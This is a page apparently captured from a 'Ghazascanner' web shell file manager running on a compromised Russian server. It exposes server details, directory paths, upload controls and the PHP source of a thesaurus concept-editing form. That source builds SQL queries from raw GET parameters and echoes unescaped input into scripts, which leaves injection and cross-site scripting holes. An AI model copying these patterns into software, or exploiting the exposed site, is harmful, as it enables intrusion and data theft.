@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux www.thesweb.ru 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64
Current Path :
/
var
/
www
/
www-root
/
data
/
www
/
new.labinform.ru
/
ru_lite2
/
Path :
Upload File :
New :
File
Dir
/var/www/www-root/data/www/new.labinform.ru/ru_lite2/edit_conc_form.php
<? include_once "login.php"; if ($usr_id == -1) { header('HTTP/1.0 401 Unauthorized'); die(); } if ($_SESSION[LoginURI]['usertypeid'] == 30) { header('HTTP/1.0 401 Unauthorized'); die(); } $conceptid = ''; $delrelconcept1id = ''; $delrelconcept2id = ''; $concname = ''; $concengname = ''; $comment = ''; $relurl = ''; $reldata = ''; $dm = ''; $ss_add = ''; $ss_edit = ''; $isabstract = 'true'; $isarguable = 'false'; if (isset($_GET['conceptid'])) $conceptid = $_GET['conceptid']; if ($conceptid != '') { $q = "SELECT conceptid, conceptstr, conceptengstr, shortcomments, domainmask, isabstract, isarguable, sessionid, sessionident FROM concepts WHERE conceptid=" . $conceptid; $res = pg_query ($conn, $q); if ($row = pg_fetch_array($res)) { $concname = $row['conceptstr']; $concengname = $row['conceptengstr']; $comment = $row['shortcomments']; $dm = 0 + $row['domainmask']; $relurl = "url: 'json/getjson.php?type=relconc&showtype=1&conceptid=" . $conceptid . "', "; if ($row['isabstract'] === null) $isabstract = 'true'; else if (!$row['isabstract']) $isabstract = 'false'; if ($row['isarguable']) $isarguable = 'true'; $ss_add = get_user_ss_info($conn, $row['sessionident']); $ss_edit = get_user_ss_info($conn, $row['sessionid']); } pg_free_result ($res); } else { if (isset($_GET['conceptstr'])) $concname = $_GET['conceptstr']; if (isset($_GET['relationstr']) && ($_GET['relationstr'] != "")) { $reltr = get_trans_rel_data($conn, $_GET['relationid'], $_GET['aspect']); $relid = $reltr['relationid']; $relstr = $reltr['relationstr']; $asp2 = $reltr['aspect']; /* $relid = transrel($_GET['relationid']); $relstr = 'xxx'; if ($relid == '10') $relstr = 'ВЫШЕ'; else if ($relid == '20') $relstr = 'ЦЕЛОЕ'; else if ($relid == '30') $relstr = 'НИЖЕ'; else if ($relid == '40') $relstr = 'ЧАСТЬ'; else if ($relid == '50') $relstr = 'АССОЦ'; else if ($relid == '33') $relstr = 'ПОТЕНЦИАЛ'; else if ($relid == '67') $relstr = 'ПРЕРЕКВИЗИТ'; $asp2 = $_GET['aspect']; if ($relid == '50') { if ($asp2 == '2') $asp2 = '1'; else if ($asp2 == '1') $asp2 = '2'; } */ $reldata = "data: {total: 1, rows: [{concept2str: '" . $_GET['relconceptstr'] . "', relationstr: '" . $relstr . "', relationid: " . $relid . ", aspect: '" . $asp2 . "', conceptid: " . $_GET['relconceptid'] . ", isarguable: " . ($_GET['isarguable'] ? "true" : "false") . " }]}, "; if (isset($_GET['delrelconceptid']) && ($_GET['delrelconceptid'] != "")) { $delrelconcept1id = $_GET['delrelconceptid']; $delrelconcept2id = $_GET['relconceptid']; } } } $domains = ''; $sql2 = "SELECT domainmask, domaincodestr, domainstr, domaincolor FROM domains ORDER BY domainmask"; $res = pg_query ($conn, $sql2); $data = array(); while($row = pg_fetch_array($res)) { //$domains .= '<li type="selected" value="' . $row['domainmask'] . '">' . $row['domainstr'] . '</li>'; $domains .= (($domains != '') ? ',': '') . '{ value: ' . $row['domainmask'] . ', name: \'' . $row['domainstr']. '\'' . '}'; } pg_free_result ( $res); /* href: 'edit_conc_form.php?relationstr=' + encodeURIComponent($('#nrelation').combobox('getText')) + '&relationid=' + rel + '&aspect=' + encodeURIComponent(asp) + '&relconceptid=' + $('#concepts').datagrid('getSelected').conceptid + '&isarguable=' + (isarg ? '1' : '0') + '&relconceptstr=' + encodeURIComponent($('#concepts').datagrid('getSelected').conceptstr) + '&conceptstr=' + encodeURIComponent($('#nrelconcept').combobox('getText').trim()), modal: true, */ ?> <div class="dialogtext"> <table border="0" width="100%" cellpadding="0" cellspacing="0"> <tr><td style="width: 108px" > <label for="nconceptid" class="label-top">Код концепта:</label> <input id="nconceptid" class="easyui-textbox" data-options="readonly: true" style="width: 100px" value="<? echo $conceptid;?>"> <? if ($ss_add) { ?> </td><td style="width: 208px"> <label for="nadded" class="label-top">Добавлено:</label> <input id="nadded" class="easyui-textbox" data-options="readonly: true" style="width: 200px" value="<? echo $ss_add; ?>"> </td><td> <label for="nedited" class="label-top">Изменено:</label> <input id="nedited" class="easyui-textbox" data-options="readonly: true" style="width: 200px" value="<? echo $ss_edit; ?>"> <? } ?> </td><td width="15%"> <label for="nisabstract" class="label-left">Абстр.:</label> <input id="nisabstract" class="easyui-switchbutton" data-options="onText:'Да',offText:'Нет', checked: <?echo $isabstract; ?>"> </td><td width="15%"> <label for="nisarguable" class="label-left">Спорн.:</label> <input id="nisarguable" class="easyui-switchbutton" data-options="onText:'Да',offText:'Нет', checked: <?echo $isarguable; ?>"> </td></tr> </table> <table border="0" width="100%" cellpadding="0" cellspacing="0" style="padding-top: 3px"> <tr> <td> <div style="margin-bottom:7px"> <label for="nconceptstr" class="label-top">Наименование концепта:</label> <input id="nconceptstr" class="easyui-textbox" data-options="required:true, tipPosition: 'top'" style="width: 100%" value="<? echo xml_entities($concname); ?>"> </div> <div style="margin-bottom:7px"> <label for="nconceptengstr" class="label-top">Английский эквивалент:</label> <input id="nconceptengstr" class="easyui-textbox" data-options="required: false" style="width: 100%" value="<? echo xml_entities($concengname);?>"> </div> <div style="margin-bottom:7px"> <label for="nconceptcomment" class="label-top">Комментарий:</label> <input id="nconceptcomment" class="easyui-textbox" data-options="required: false" style="width: 100%" value="<? echo xml_entities($comment);?>"> </div> <table id="nrel_concepts" class="easyui-datagrid" data-options="<?echo $relurl;?><?echo $reldata;?>height: 302, width:'100%', striped: true, singleSelect: true, pagination: false, fitColumns: true,footer:'#ft_conc_rel'"> <!-- url = 'json/getjson.php?type=relconc&conceptid=' + row.conceptid; d = $('#domain_filter').combobox('options').domainmask; if (d > 0) url += '&domainmask=' + encodeURIComponent(d); if ($('#domain_filter_type').prop('checked')) url += '&domainmasktype=or' else url += '&domainmasktype=and'; $('#rel_concepts').datagrid('load', url); --> <thead> <tr> <th data-options="field:'relationstr', width: '80'">Отношение</th> <th data-options="field:'aspect', width: '40'">Асп.</th> <th data-options="field:'concept2str', width: '350'">Наименование концепта</th> </tr> </thead> <tbody> </tbody> </table> </td> <td width="230px" style="padding-left: 5px"> <ul id="ndomains" class="easyui-datalist" title="Предметная область" style="height:460px; width:230px;" data-options="lines: true, singleSelect: false, onLoadSuccess: function (data) { ThesConcepts.edit_conc_set_domains(<?echo $dm;?>) }, valueField: 'value', textField: 'name', data: [<?echo $domains ?>]"> </ul> </td> </tr> </table> <div id="ft_conc_rel" style="padding:2px 5px;"> <? if ($conceptid == '') { ?> <a href="#" class="easyui-linkbutton" iconCls="icon-add" plain="true" data-options="onClick: ThesConcepts.concept_add_rel_app">Добавить отношение</a> <a href="#" class="easyui-linkbutton" iconCls="icon-remove" plain="true" data-options="onClick: ThesConcepts.concept_add_rel_del">Удалить отношение</a> <? } ?> </div> </div> <input type="hidden" id="delrelconcept1id" value="<? echo $delrelconcept1id; ?>"> <input type="hidden" id="delrelconcept2id" value="<? echo $delrelconcept2id; ?>"> <script type="text/javascript"> $(function () { $('#nconceptstr').textbox('textbox').attr('maxlength', ThesConcepts.max_concept_length); $('#nconceptengstr').textbox('textbox').attr('maxlength', ThesConcepts.max_concept_length); $('#nconceptcomment').textbox('textbox').attr('maxlength', ThesConcepts.max_concept_length); textbox_set_f9_conv('#nconceptstr'); textbox_set_f9_conv('#nconceptengstr'); textbox_set_f9_conv('#nconceptcomment'); <? if ($conceptid == '') { if ($proj_name == "LII_THES") { ?> $('#ndomains').datalist('selectRow', <? echo '0'; ?>); <? } else { ?> $('#ndomains').datalist('selectRow', <? if ($usr_id == 93) echo '11'; else echo '6'; ?>); $('#ndomains').datalist('selectRow', <? if ($usr_id == 93) echo '17'; ?>); <? } } ?> }); </script>